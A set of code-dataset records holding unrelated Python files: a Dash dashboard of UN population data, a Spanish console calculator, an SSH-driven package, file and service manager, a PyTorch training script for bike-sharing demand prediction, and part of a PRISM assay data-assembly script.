'marginTop': 10\r\n }\r\n ),\r\n html.Div([\r\n html.A(children='Follow me on Twitter', \r\n href=\"https://twitter.com/JoeMolitoris?ref_src=twsrc%5Etfw\",\r\n className=\"twitter-follow-button\"),\r\n html.Br(),\r\n html.A(children=\"Follow me on ResearchGate\", \r\n href=\"https://www.researchgate.net/profile/Joseph_Molitoris\"),\r\n ], className='two columns', \r\n style={'marginTop':5, \r\n 'marginLeft':15, \r\n 'font-family':'Franklin Gothic Medium',\r\n 'fontSize':12}),\r\n ], className='row', \r\n style={'background-color':'#383838'\r\n }),\r\n \r\n html.Div([\r\n dcc.Markdown(children = '''\r\n *Use this dashboard for a quick overview of the past, present, and future\r\n demographic circumstances of the world's populations.*\r\n ''',\r\n style={\r\n 'fontSize':14,\r\n 'font-family':'Franklin Gothic Medium', \r\n 'font-weight':'normal',\r\n 'marginLeft':15},\r\n className='four columns'\r\n ),\r\n\r\n html.Div([\r\n html.H1(children=\"\", className='one columns')\r\n ]),\r\n\r\n html.Div([\r\n dcc.Markdown(children='''\r\n *Use this menu to view the selected population's age structure and statistics for specific years*\r\n ''')\r\n ], className='two columns', \r\n style={'fontSize':11,\r\n 'font-family':'Franklin Gothic Medium',\r\n 'fontWeight':'normal',\r\n 'marginTop':5,\r\n 'color':'#a1a1a1'\r\n }\r\n ),\r\n\r\n html.Div([\r\n dcc.Dropdown(\r\n id='year_input',\r\n placeholder='Select a year...',\r\n options= [{'label':i, 'value':i} for i in input_values],\r\n multi=False,\r\n disabled=False,\r\n value='2015-2020',\r\n style={'backgroundColor': '#a1e9ff'\r\n }\r\n )\r\n ], className='three columns', \r\n style={'font-family':'Franklin Gothic Medium'}\r\n ),\r\n ], className='row', style={'background-color': '#383838'}),\r\n ]),\r\n\r\n html.Div([\r\n html.H1(children=\"\", className='twelve columns'),\r\n ],\r\n className='row', style={'background-color': '#383838'}),\r\n\r\n html.Div([\r\n html.Div([\r\n html.H4(children=\"Population Overview\",\r\n className=\"two columns\",\r\n style={\r\n 'text-align':'left',\r\n 'font-family':'Franklin Gothic Medium',\r\n 'fontSize':20,\r\n 'font-weight':'normal',\r\n 'marginLeft':15\r\n }),\r\n html.H4(children=\"Age Structure\",\r\n className='four columns',\r\n style={\r\n 'text-align':'left',\r\n 'font-family':'Franklin Gothic Medium',\r\n 'fontSize':20,\r\n 'font-weight':'normal',\r\n 'marginLeft':20\r\n }\r\n )\r\n ], className='row'),\r\n ], className='row'),\r\n\r\n html.Div([\r\n html.Div([\r\n dash_table.DataTable(\r\n id='table',\r\n columns=[{'name':i, 'id':i} for i in table.columns],\r\n data=table.to_dict('records'),\r\n style_as_list_view=True,\r\n style_cell={'fontSize':12, \r\n 'font-family':'Franklin Gothic Medium',\r\n 'overflow':'hidden',\r\n 'textOverflow':'ellipses',\r\n 'minWidth':'0px',\r\n 'maxWidth':'150px',\r\n 'backgroundColor':'rgb(50,50,50',\r\n 'color':'white'\r\n },\r\n style_cell_conditional=[\r\n {\r\n 'if':{'column_id':'World'},\r\n 'textAlign':'left'\r\n }\r\n ],\r\n style_data_conditional=[\r\n {\r\n 'if': {'row_index':'odd'},\r\n 'backgroundColor': 'rgb(100,100,100)'\r\n }\r\n ],\r\n style_header={\r\n 'backgroundColor':'rgb(76,76,76)',\r\n 'fontWeight':'bold'\r\n }\r\n )\r\n ], className= 'four columns', style={'width':200, 'marginLeft':15, 'marginRight':15}),\r\n \r\n html.Div([\r\n dcc.Graph(\r\n id='graph-3',\r\n style={'height':300},\r\n figure={\r\n 'data': trace3,\r\n 'layout': layout3\r\n }\r\n )\r\n ], className='four columns'),\r\n\r\n html.Div([\r\n dcc.Graph(\r\n id='map',\r\n style={'height':300, 'width':500},\r\n figure={\r\n 'data':trace_map,\r\n 'layout':layout_map\r\n }\r\n )\r\n ], className='four columns')\r\n ], className='row'),\r\n\r\n html.Br(),\r\n html.Div([\r\n html.H4(children='Population Growth',\r\n className='three columns',\r\n style={\r\n 'text-align':'left',\r\n 'font-family':'Franklin Gothic Medium',\r\n 'fontSize':20,\r\n 'font-weight':'normal',\r\n 'marginLeft':15} \r\n ),\r\n html.H4(children='Mortality',\r\n className='three columns',\r\n style={\r\n 'text-align':'left',\r\n 'font-family':'Franklin Gothic Medium',\r\n 'fontSize':20,\r\n 'font-weight':'normal',\r\n 'marginLeft':30}\r\n ),\r\n html.H4(children='Fertility',\r\n className='three columns',\r\n style={\r\n 'text-align':'left',\r\n 'font-family':'Franklin Gothic Medium',\r\n 'fontSize':20,\r\n 'font-weight':'normal',\r\n 'marginLeft':30}\r\n ),\r\n html.H4(children='Migration',\r\n className='three columns',\r\n style={\r\n 'text-align':'left',\r\n 'font-family':'Franklin Gothic Medium',\r\n 'fontSize':20,\r\n 'font-weight':'normal',\r\n 'marginLeft':30}\r\n ), \r\n ], className='row'),\r\n html.Div([\r\n html.Div([\r\n dcc.Graph(\r\n id = 'graph-2',\r\n style=trace_dimensions,\r\n figure={\r\n 'data': trace2,\r\n 'layout':layout2\r\n }\r\n )\r\n ], className= 'three columns', style=trace1245_style),\r\n\r\n html.Div([\r\n dcc.Graph(\r\n id = 'graph-1',\r\n style=trace_dimensions,\r\n figure={\r\n 'data':trace1,\r\n 'layout': layout1\r\n }\r\n )\r\n ], className= 'three columns', style=trace1245_style),\r\n\r\n html.Div([\r\n dcc.Graph(\r\n id='graph-4',\r\n style=trace_dimensions, \r\n figure={\r\n 'data': trace4,\r\n 'layout': layout4\r\n }\r\n )\r\n ], className='three columns', style=trace1245_style),\r\n\r\n html.Div([\r\n dcc.Graph(\r\n id='graph-5',\r\n style=trace_dimensions,\r\n figure={\r\n 'data': trace5,\r\n 'layout': layout5\r\n }\r\n )\r\n ], className='three columns', style=trace1245_style),\r\n ], className='row'),\r\n\r\n html.Br(),\r\n\r\n html.Div([\r\n html.H1(children=\"\",className='two columns'),\r\n html.P([\r\n dcc.RangeSlider(\r\n id='slider',\r\n min=df['Year'].min(),\r\n max=2100,\r\n step=5,\r\n marks={str(i) : {'label' : str(i), 'style':{'color':'#999B9A'}} for i in range(1950,2105,25)},\r\n value=[1950,2100],\r\n disabled=True\r\n )\r\n ], className='eight columns', style={'font-family':'Franklin Gothic Medium'})\r\n ], className='row'),\r\n\r\n html.Div([\r\n dcc.Markdown(\r\n children= '''\r\n All data used on this page were downloaded from the United Nation's [*World Population Prospects 2019*](https://population.un.org/wpp/).\r\n '''\r\n )\r\n ], style={'fontSize':12,\r\n 'font-family':'Franklin Gothic Medium', \r\n 'font-weight':'normal'})\r\n ], className='row')\r\n], style={'backgroundColor':'#2e2e30', 'color':'#38b3d9'}, className='twelve columns')\r\n\r\n#Update figures\r\n@app.callback(\r\n Output(component_id='graph-1', component_property='figure'),\r\n [Input(component_id='dropdown', component_property='value'),\r\n Input(component_id='slider', component_property='value')]\r\n)\r\n\r\ndef update_figure1(country_value, slider_value):\r\n if country_value is None:\r\n raise PreventUpdate\r\n new_trace=create_trace('Year', 'Life Expectancy at Birth', 'Infant Mortality Rate',area=country_value, startdate=slider_value[0], enddate=slider_value[1])\r\n new_layout=create_layout('Life Expectancy at Birth', 'Infant Mortality Rate', startdate=slider_value[0], enddate=slider_value[1])\r\n df_new=df[(df['Country or Area']==country_value) & (df['Year']>=slider_value[0]) & (df['Year']<=slider_value[1])]\r\n return{\r\n 'data':new_trace,\r\n 'layout': new_layout\r\n }\r\n\r\n@app.callback(\r\n Output(component_id='graph-2', component_property='figure'),\r\n [Input(component_id='dropdown', component_property='value'),\r\n Input(component_id='slider', component_property='value')]\r\n)\r\n\r\ndef update_figure2(country_value, slider_value):\r\n if country_value is None:\r\n raise PreventUpdate\r\n new_trace=create_trace('Year', 'Total Population', 'Population Change (%)',area=country_value, startdate=slider_value[0], enddate=slider_value[1])\r\n new_layout=create_layout('Total Population', 'Population Change (%)', startdate=slider_value[0], enddate=slider_value[1])\r\n df_new=df[(df['Country or Area']==country_value) & (df['Year']>=slider_value[0]) & (df['Year']<=slider_value[1])]\r\n return{\r\n 'data': new_trace,\r\n 'layout': new_layout\r\n }\r\n\r\n@app.callback(\r\n Output(component_id='graph-4', component_property='figure'),\r\n [Input(component_id='dropdown', component_property='value'),\r\n Input(component_id='slider', component_property='value')]\r\n)\r\n\r\ndef update_figure4(country_value, slider_value):\r\n if country_value is None:\r\n raise PreventUpdate\r\n new_trace=create_trace('Year', 'Total Fertility Rate', 'Mean Age at Birth',area=country_value, startdate=slider_value[0], enddate=slider_value[1])\r\n new_layout=create_layout('Total Fertility Rate', 'Mean Age at Birth', startdate=slider_value[0], enddate=slider_value[1])\r\n df_new=df[(df['Country or Area']==country_value) & (df['Year']>=slider_value[0]) & (df['Year']<=slider_value[1])]\r\n return{\r\n 'data':new_trace,\r\n 'layout':new_layout\r\n }\r\n\r\n@app.callback(\r\n Output(component_id='graph-5', component_property='figure'),\r\n [Input(component_id='dropdown', component_property='value'),\r\n Input(component_id='slider', component_property='value')]\r\n)\r\n\r\ndef update_figure5(country_value, slider_value):\r\n if country_value is None:\r\n raise PreventUpdate\r\n new_trace=create_trace('Year', 'Net Migrants', 'Net Migration Rate',area=country_value, startdate=slider_value[0], enddate=slider_value[1])\r\n new_layout=create_layout('Net Migrants', 'Net Migration Rate', startdate=slider_value[0], enddate=slider_value[1])\r\n df_new=df[(df['Country or Area']==country_value) & (df['Year']>=slider_value[0]) & (df['Year']<=slider_value[1])]\r\n return{\r\n 'data':new_trace,\r\n 'layout':new_layout\r\n }\r\n\r\n@app.callback(\r\n Output(component_id='graph-3', component_property='figure'),\r\n [Input(component_id='dropdown', component_property='value'),\r\n Input(component_id='year_input', component_property='value')]\r\n)\r\n\r\ndef update_figure3(country_value, year_value):\r\n if country_value is None:\r\n raise PreventUpdate\r\n new_trace=pyramid_trace(area=country_value, year=year_value)\r\n new_layout=pyramid_layout(area=country_value, year=year_value)\r\n df_pp_new=df_pp[(df_pp['Country or Area']==country_value) & (df_pp['Year(s)']==year_value)]\r\n return{\r\n 'data':new_trace,\r\n 'layout': new_layout\r\n }\r\n#Update Table\r\n@app.callback(\r\n [Output(component_id='table', component_property='data'),\r\n Output(component_id='table', component_property='columns'),\r\n Output(component_id='table', component_property='style_cell_conditional')],\r\n [Input(component_id='dropdown', component_property='value'),\r\n Input(component_id='year_input', component_property='value')]\r\n)\r\n\r\ndef update_table(area, year_value):\r\n if area is None:\r\n raise PreventUpdate\r\n new_table=create_table(area, year_value)\r\n columns=[{'name':i, 'id':i} for i in new_table.columns]\r\n style=[{'if':{'column_id':area}, 'textAlign':'left'}]\r\n return new_table.to_dict('records'), columns, style\r\n\r\n#Enable slider and year input dropdown\r\n@app.callback(\r\n [Output(component_id='slider', component_property='disabled'),\r\n Output(component_id='year_input', component_property='disabled')],\r\n [Input(component_id='dropdown', component_property='value')]\r\n)\r\n\r\ndef toggle_on(country_value):\r\n if country_value is None:\r\n raise PreventUpdate\r\n return False, False\r\n\r\n#Update available map\r\n\r\n@app.callback(\r\n Output(component_id='map', component_property='figure'),\r\n [Input(component_id='dropdown', component_property='value')]\r\n)\r\n\r\ndef update_map(country_value):\r\n if country_value is None:\r\n raise PreventUpdate\r\n new_trace_map = create_map(country_value)\r\n new_layout_map= map_layout()\r\n return {\r\n 'data':new_trace_map,\r\n 'layout':new_layout_map\r\n }\r\n\r\nif __name__=='__main__':\r\n app.run_server()","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":28149,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"421685099","text":"#ejercicio 02\n# se muestra las funciones dependiendo la opcion elejida\ndef suma():\n #asignacion de valores dentro de la funcion\n primer_numero=libreria.validar_numero(input(\"Ingrese el primer valor \"))\n segundo_numero=libreria.validar_numero(input(\"Ingrese el segundo valor\"))\n #realizacion del calculo de los valores dados\n suma=(int(primer_numero)+int(segundo_numero))\n #se imprimer un mensaje con el resultado y se pregunta al usuario si desea guardar los datos\n print(\"La suma de los valores dados es : \"+str(suma))\n print(\"Desea guardar este dato?\")\n valor=int(input(\"SI(1) o NO(0)\"))\n #condicional multiple\n if valor==1:\n #SE ABRE UN ARCHIVO , SE GUARDA EL DATO , SE IMPRIME UN MENSAJE EN EL CUAL SE GUARDA LOS DATOS Y SE CIERRA EL ARCHIVO\n archivo=open(\"CLI2.txt\",\"a\")\n archivo.write(\"el valor de la suma de los numeros \"+primer_numero+\" y \"+segundo_numero+\"es :\"+str(suma))\n print(\"se han guardado los datos correctamente\")\n archivo.close()\n #SI EL VALOR ES IGUAL A 0 ENTONCES NO SE GUARDARA NINGUN DATO\n elif valor==0:\n print(\"OK, no se guardara nigun dato\")\n #SI EL VALOR ES DIFERENTE APARECERA UN MENSAJE QUE EL VALOR ES FALSA Y LO REGRESARA AL MENU\n else:\n print(\"EL VALOR INGRESADO ES FALSO\")\n\n#Y asi con las demas funciones tienen la misma estructura\ndef resta():\n primer_valor=libreria.validar_numero(input(\"Ingrese el primer valor: \"))\n segundo_valor=libreria.validar_numero(input(\"Ingrese el segundo valor\"))\n resta=int(primer_valor)-int(segundo_valor)\n print(\"La resta de los valores dados es: \"+str(resta))\n print(\"Desea guardar el resultado de la resta?\")\n valor=int(input(\"SI(1) O NO(0)\"))\n if valor==1:\n archivo=open(\"CLI2.txt\",\"a\")\n archivo.write(\"El valor de la resta de los valores \"+primer_valor+\" y \"+segundo_valor+\" es: \"+str(resta))\n print(\"se han guardado los datos correctamente\")\n archivo.close()\n elif valor==0:\n print(\"OK no se guardaran los datos\")\n else:\n print(\"EL NUMERO INGRESADO ES FALSO\")\ndef multiplicacion():\n digit1=libreria.validar_numero(input(\"Ingrese el primer valor: \"))\n digit2=libreria.validar_numero(input(\"Irgrese el segundo valor: \"))\n multiplicacion=int(digit1)*int(digit2)\n print(\"La multiplicacion de los valores dados: \"+str(multiplicacion))\n print(\"Desea guardar el resultado de la multiplicacion?\")\n ingrese=int(input(\"Si(1) o No(0)?\"))\n if ingrese==1:\n archivo=open(\"CLI2.txt\",\"a\")\n archivo.write(\"El valor de la multiplicacion de los valores \"+digit1+\" y \"+digit2 +\" es: \"+str(multiplicacion))\n print(\"Se han guardado los datos correctamente\")\n archivo.close()\n elif ingrese==0:\n print(\"Ok no se guardaran los datos\")\n else:\n print(\"Se ha ingresado un valor invalido\")\ndef division():\n valor_1=libreria.validar_numero(input(\"Ingrese el primer valor: \"))\n valor_2=libreria.validar_numero(input(\"Ingrese el segundo valor: \"))\n division=int(valor_1)/int(valor_2)\n print(\"La division de los valores dados es: \"+str(division))\n print(\"Desea guardar el resultado de la division?\")\n ingrese=int(input(\"Si(1) o No(0)?\"))\n if ingrese==1:\n archivo=open(\"CLI2.txt\",\"a\")\n archivo.write(\"EL valor de la division de los valores \"+valor_1+\" y \"+valor_2+\" es:\"+str(division))\n archivo.close()\n elif ingrese==0:\n print(\"OK no se guardaran los datos\")\n else:\n print(\"Se ha ingresado un valor invalido\")\n#importacion de la libreria\nimport libreria\n\n# asig asignacion de variables int\nopc=0\nmax=5\nwhile opc!=max: #se asigna la funcion mientras la opc se adiferente del max seguira en el bucle\n print(\"################CALCULADORA#################\")\n print(\"#1. Suma:suma 2 numeros #\")\n print(\"#2. Resta:resta 2 numeros #\")\n print(\"#3. Multiplicaion: multiplica 2 numeros #\")\n print(\"#4. Division: divide 2 numeros #\")\n print(\"#5. SALIR #\")\n print(\"############################################\")\n\n #se asigna la variable opcion la cual sera llamada desde la libreria para su validacion\n opc = libreria.validar_int(input(\"ingrese un valor\"))\n #se seleccionara la funcion segun la opcion elejida\n if opc==1:\n suma()\n if opc==2:\n resta()\n if opc==3:\n multiplicacion()\n if opc==4:\n division()\n","sub_path":"huatay/CLI2.py","file_name":"CLI2.py","file_ext":"py","file_size_in_byte":4498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"274211915","text":"from Connect import Connect\nimport re\nimport hashlib\nclass Actions(Connect):\n def __init__(self):\n super().__init__()\n # print(\"Actions are initiated\")\n\n # def init_connections(self):\n # self.connect_data=self.get_connect_data(self.play_name)\n # print(\"Initiated connect data\")\n # print(self.connect_data)\n\n def package_manager(self,package_list):\n #self.connect_data=self.get_connect_data(self.play_name)\n # print(self.connect_data)\n for package_name, status in package_list.items():\n available, installed , version= self.check_package_status(package_name)\n if status == \"present\" and installed:\n print(\"Package is already installed to version %s\" %version)\n elif status == \"present\" and not installed and available:\n print(\"installing package %s with available latest version\" %package_name)\n self.ssh(self.connect_data,'apt install -y %s' %package_name)\n elif status == 'present' and not available:\n print(\"Package %s is not available. Skipping installation\")\n elif status == \"absent\" and installed:\n print(\"Removing package %s\" %package_name)\n self.ssh(self.connect_data,'apt remove -y %s' %(package_name))\n elif status == \"absent\" and not installed:\n print(\"Package %s is not present no action needed\" %package_name)\n elif status != \"present\" and status != \"absent\":\n if version == status:\n print(\"Package %s is installed to version %s. no action needed\" %(package_name, version))\n else:\n print(\"installing package %s with version %s\" %(package_name,status))\n self.ssh(self.connect_data,'apt install -y %s=%s' %(package_name,status))\n\n def check_package_status(self, package_name):\n stdout, stderr = self.ssh(self.connect_data,'apt-cache policy %s' %(package_name))\n output=stdout.read().decode('ascii')\n if re.search(rf\".*Installed:\\s\\(none\\)\", output):\n available=True\n installed=False\n version=None\n elif re.search(rf\".*Installed:\\s\\d.*\", output):\n available=True\n installed=True\n match=re.search(rf\".*Installed:\\s(\\d.*)\", output)\n version=match.group(1)\n\n else:\n available=False\n installed=False\n version=None\n return available, installed, version\n\n def file_manager(self,file_list):\n #self.connect_data=self.get_connect_data(self.play_name)\n for filename, filedata in file_list.items():\n print(\"Processing file %s\" %filename)\n is_file_content_changed = False\n is_file_present = False\n is_file_permission_changed = False\n server_md5 = ''\n actul_md5 = ''\n #checking if file exist in server\n\n\n if filedata['status'] == 'present':\n stdout, stderr = self.ssh(self.connect_data,'md5sum %s' %filename)\n if stdout.channel.recv_exit_status() == 0:\n is_file_present = True\n server_md5 = stdout.read().decode('ascii').split(' ')[0]\n cmd=\"stat -c '%a %U %G' \"+ filename\n stdout, stderr = self.ssh(self.connect_data, cmd )\n output = stdout.read().decode('ascii').strip('\\n').split(' ')\n server_file_permisison = output[0]\n server_file_owner= output[1]\n server_file_group= output[2]\n if filedata['owner'] != server_file_owner or filedata['group'] != server_file_group:\n is_file_permission_changed= True\n print(\"updating ownership for %s\" %filename)\n self.ssh(self.connect_data, 'chown %s:%s %s' %(filedata['owner'],filedata['group'], filename) )\n if filedata['chmod'] != int(server_file_permisison):\n is_file_permission_changed = True\n print(\"updating permissions for %s\" %filename)\n self.ssh(self.connect_data, 'chmod %s %s' %(filedata['chmod'], filename))\n\n if 'source' in filedata:\n with open(filedata['source'], 'r',) as file:\n file_content = file.read()\n actul_md5 = hashlib.md5()\n actul_md5.update(file_content.encode())\n else:\n print(\"no file source or content defined skipping resource.\")\n break\n if not is_file_present:\n is_file_content_changed = True\n else:\n if actul_md5.hexdigest() == server_md5:\n print(\"No changes for file %s\" %filename)\n else:\n is_file_content_changed = True\n\n if is_file_content_changed:\n stdout, stderr = self.ssh(self.connect_data,'echo -n \"%s\">%s' %(file_content,filename))\n else:\n print(\"no write required %s\" %filename)\n if 'refresh' in filedata and is_file_content_changed:\n self.service_handle(filedata['refresh'],'restart')\n\n elif filedata['status'] =='directory':\n stdout, stderr = self.ssh(self.connect_data,'mkdir -p %s' %(filename))\n elif filedata['status'] =='absent':\n stdout, stderr = self.ssh(self.connect_data,'rm -f %s' %(filename))\n else:\n print(\"bad config.\")\n break\n\n def service_handle(self, service, action):\n stdout, stderr = self.ssh(self.connect_data,'systemctl status %s' %service)\n output = stdout.read().decode()\n sysctl_status='unknown'\n sysctl_enabled=False\n if 'Active: active (running)' in output:\n print(\"Service is running\")\n sysctl_status='running'\n else:\n sysctl_status='stopped'\n if re.search(r'.*Loaded:.*enabled.*', output):\n print(\"Service is enabled\")\n sysctl_enabled=True\n else:\n sysctl_enabled=False\n print(\"Service is disabled\")\n\n if sysctl_status == action:\n print(\"service %s is already in %s state\" %(service, action))\n return True\n if action=='running' or action=='restart' or action=='reload':\n if not sysctl_enabled:\n print(\"Enabling service\")\n self.ssh(self.connect_data,'systemctl enable %s' %service)\n self.ssh(self.connect_data,'systemctl %s %s' %(action,service))\n\n\n def service_manager(self,services_list):\n print(services_list)\n for service, status in services_list.items():\n self.service_handle(service, status['status'])\n\n","sub_path":"Actions.py","file_name":"Actions.py","file_ext":"py","file_size_in_byte":6999,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"468216875","text":"import os\nimport glob\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0\"\nimport torch\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n\n# !/bin/bash\nimport torch.nn as nn\nfrom torch.nn import init\nfrom torch.autograd import Variable\nimport torch.nn.functional as F\n\nfrom torch.utils.data import DataLoader\n\ntorch.cuda.empty_cache()\n\nimport numpy as np\nimport pandas as pd\nimport time\n\nimport datetime\n\nfrom GetDataset import BikeDataset\nfrom utils import load_distance, load_dataset\nfrom STGNN import STGNN\n\ndef train(epoch):\n model.train()\n\n loss_train_one = torch.zeros(1).cuda() \n\n for i in range(train_day * hour): \n print(day_idxs[i], hour_idxs[i], gt_idxs[i])\n feat_rent_days = torch.from_numpy(rent_flow[day_idxs[i][-1],:,:]).float().cuda()\n feat_return_days = torch.from_numpy(return_flow[day_idxs[i][-1],:,:]).float().cuda()\n feat_rent_hours = torch.from_numpy(rent_flow[hour_idxs[i][-1],:,:]).float().cuda() \n feat_return_hours = torch.from_numpy(return_flow[hour_idxs[i][-1],:,:]).float().cuda()\n \n ground_truth_rent = rent_data[gt_idxs[i]].reshape(-1,m_size)\n ground_truth_return = return_data[gt_idxs[i]].reshape(-1,m_size)\n ground_truth = torch.from_numpy(np.concatenate((ground_truth_rent, ground_truth_return),axis = 0)).float() \n scores, att = model(feat_rent_days, feat_rent_hours, feat_return_days, feat_return_hours, distance)\n loss_train_one += model.loss(scores, ground_truth)\n\n if (i + 1) % batch_size == 0:\n loss_train = loss_train_one.div(batch_size)\n loss_train.backward()\n optimizer.step()\n optimizer.zero_grad()\n\n loss_train_one = torch.zeros(1).cuda()\n print('loss_train = ', loss_train.item())\n \n model.eval()\n loss_val_one = torch.zeros(1).cuda()\n for j in range(train_day * hour, (train_day + vali_day) * hour): \n with torch.no_grad():\n print(day_idxs[j], hour_idxs[j], gt_idxs[j])\n feat_rent_days = torch.from_numpy(rent_flow[day_idxs[j][-1],:,:]).float().cuda()\n feat_return_days = torch.from_numpy(return_flow[day_idxs[j][-1],:,:]).float().cuda()\n feat_rent_hours = torch.from_numpy(rent_flow[hour_idxs[j][-1],:,:]).float().cuda() \n feat_return_hours = torch.from_numpy(return_flow[hour_idxs[j][-1],:,:]).float().cuda()\n \n ground_truth_rent = rent_data[gt_idxs[j]].reshape(-1,m_size)\n ground_truth_return = return_data[gt_idxs[j]].reshape(-1,m_size)\n ground_truth = torch.from_numpy(np.concatenate((ground_truth_rent, ground_truth_return),axis = 0)).float() \n scores, att = model(feat_rent_days, feat_rent_hours, feat_return_days, feat_return_hours, distance)\n\n loss_val_one += model.loss(scores, ground_truth)\n\n loss_val = loss_val_one.div(vali_day * hour)\n print('-----------------------------------')\n print('loss_val = ', loss_val.item()) \n return loss_val.item()\n\ndef test():\n model.eval()\n result = []\n ground = [] \n att_days = []\n att_hours = []\n \n for i in range((train_day + vali_day)*hour, (train_day + vali_day + test_day) * hour): \n print(i)\n feat_rent_days = torch.from_numpy(rent_flow[day_idxs[i][-1],:,:]).float().cuda()\n feat_return_days = torch.from_numpy(return_flow[day_idxs[i][-1],:,:]).float().cuda()\n feat_rent_hours = torch.from_numpy(rent_flow[hour_idxs[i][-1],:,:]).float().cuda() \n feat_return_hours = torch.from_numpy(return_flow[hour_idxs[i][-1],:,:]).float().cuda()\n \n ground_truth_rent = rent_data[gt_idxs[i]].reshape(-1,m_size)\n ground_truth_return = return_data[gt_idxs[i]].reshape(-1,m_size)\n ground_truth = np.concatenate((ground_truth_rent, ground_truth_return),axis = 0) \n pre, att = model(feat_rent_days, feat_rent_hours, feat_return_days, feat_return_hours, distance)\n \n result.append(pre.detach().cpu().numpy())\n ground.append(ground_truth) \n \n result = np.array(result)\n ground = np.array(ground)\n \n return result, ground\n\nstart_time = time.time()\n\n\npath= '/data/la/'\n\n\nrent_dataset = 'pickup'\nrent_flow_dataset = 'sparse_rent2return'\n\nreturn_dataset = 'dropoff'\nreturn_flow_dataset = 'sparse_return2rent'\n\n#all day\nday = 7\nhour = 96\nm_size = 135\n\ntrain_day = 60\nvali_day = 30\ntest_day = 450\n\n# # weekday\n# day = 5\n# hour = 96\n# m_size = 135\n\n# train_day = 43\n# vali_day = 21\n# test_day = 320\n\n# # weekend\n# day = 2\n# hour = 96\n# m_size = 135\n\n# train_day = 17\n# vali_day = 9\n# test_day = 129\n\n\nlearning_rate = 0.01 \nepoch_no = 100\nbatch_size = 32\nembed_dim = 8\nfeature_dim = m_size * 4\n\nrent_data, rent_flow, rent_para, scale = load_dataset(path, rent_dataset, rent_flow_dataset, m_size)\nreturn_data, return_flow, return_para, scale = load_dataset(path, return_dataset, return_flow_dataset, m_size)\n\n\ndistance = load_distance(path)\nday_idxs = []\nhour_idxs = []\ngt_idxs = []\n\nfor n in range(day* hour, (day + train_day + vali_day + test_day) * hour):\n day_idxs.append([(n - i) for i in range((day) * hour, 0, -hour)])\n hour_idxs.append(list(range((n - hour), n)))\n gt_idxs.append(n)\nprint(len(gt_idxs))\n\n \nmodel = STEMGEM(feature_dim, embed_dim, m_size, day, hour)\noptimizer = torch.optim.Adam(filter(lambda p: p.requires_grad, model.parameters()), lr = learning_rate)\nscheduler = torch.optim.lr_scheduler.StepLR(optimizer, step_size = 2, gamma=0.1) \n\n\nloss_values = []\nbad_counter = 0\nbest = epoch_no + 1\nbest_epoch = 0\n\n\nfor epoch in range(epoch_no):\n print('Training Process: epoch = ', epoch)\n loss_values.append(train(epoch)) \n scheduler.step()\n torch.save(model.state_dict(), path + '/Result/' +'{}.pkl'.format(epoch))\n if loss_values[-1] < best:\n best = loss_values[-1]\n best_epoch = epoch\n bad_counter = 0\n else:\n bad_counter += 1\n\n if bad_counter == 20:\n break\n\n files = glob.glob(path + '/Result/' + '*.pkl')\n for file in files:\n epoch_nb = int((file.split('.')[0]).split('/')[-1])\n if epoch_nb < best_epoch:\n os.remove(file)\n\nfiles = glob.glob(path + '/Result/' + '*.pkl')\nfor file in files:\n epoch_nb = int((file.split('.')[0]).split('/')[-1])\n if epoch_nb > best_epoch:\n os.remove(file)\n# Save Parameters\n\n# torch.save(model.state_dict(), path + station + '/' + station + '.pkl') \nwith torch.no_grad():\n predict, ground_truth = test()\n \ndf1 = predict\nnp.save(path + 'Result/'+ 'pr.npy', df1)\ndf2 = ground_truth\nnp.save(path + 'Result/' + 'gt.npy', df2)\ntorch.cuda.empty_cache()\n\n\n\nend_time = time.time()\ntimes = end_time - start_time\nprint('Total_time =',times)\ntorch.cuda.empty_cache()\nprint('max = ', para)\n\n\n\n","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":6845,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"86030208","text":"import argparse\nimport merino\nimport prism_metadata\nimport assemble\nimport setup_logger\nimport logging\nimport davepool_data\nimport sys\nimport cmapPy.pandasGEXpress.write_gct as write_gct\n\n\nlogger = logging.getLogger(setup_logger.LOGGER_NAME)\n\n\ndef build_parser():\n parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n parser.add_argument(\"-verbose\", '-v', help=\"Whether to print a bunch of output\", action=\"store_true\", default=False)\n parser.add_argument(\"-config_filepath\", help=\"path to the location of the configuration file\", type=str,\n default=merino.default_config_filepath)\n parser.add_argument(\"prism_replicate_name\", help=\"name of the prism replicate that is being processed\", type=str)\n parser.add_argument(\"plate_map_path\", help=\"path to file containing plate map describing perturbagens used\", type=str)\n parser.add_argument(\"csv_filepath\", help=\"path to csv file containing data\", type=str)\n parser.add_argument(\"-plate_map_type\", \"-pmt\", help=\"type of the plate map\", choices=prism_metadata.plate_map_types,\n default=prism_metadata.plate_map_type_CM)\n parser.add_argument(\"-cell_set_definition_file\", \"-csdf\",\n help=\"file containing cell set definition to use, overriding config file\", type=str, default=None)\n return parser\n\n\ndef main(args):\n #read actual data from relevant csv files, associate it with davepool ID\n my_davepool = davepool_data.read_data(args.csv_filepath)\n\n #read PRISM cell line metadata from file specified in config file, and associate with assay_plate metadata\n prism_cell_list = prism_metadata.read_prism_cell_from_file(args.config_filepath, args.cell_set_definition_file, 'cell_set_definition')\n logger.info(\"len(prism_cell_list): {}\".format(len(prism_cell_list)))\n\n #read in all the perturbagens but restrict to those that were on the provided assay_plates\n perturbagen_list = prism_metadata.build_perturbagens_from_file(args.plate_map_path, args.plate_map_type,\n args.config_filepath)\n logger.info(\"len(perturbagen_list): {}\".format(len(perturbagen_list)))\n\n (median_data_by_cell, count_data_by_cell) = assemble.build_data_by_cell(prism_cell_list, my_davepool)\n\n median_gctoo = assemble.build_gctoo(args.prism_replicate_name, perturbagen_list, median_data_by_cell)\n write_gct.write(median_gctoo, args.prism_replicate_name + \"_MEDIAN.gct\", data_null=assemble._NaN,\n filler_null=assemble._null)\n\n count_gctoo = assemble.build_gctoo(args.prism_replicate_name, perturbagen_list, count_data_by_cell)\n write_gct.write(count_gctoo, args.prism_replicate_name + \"_COUNT.gct\", data_null=assemble._NaN,\n filler_null=assemble._null)\n\n return 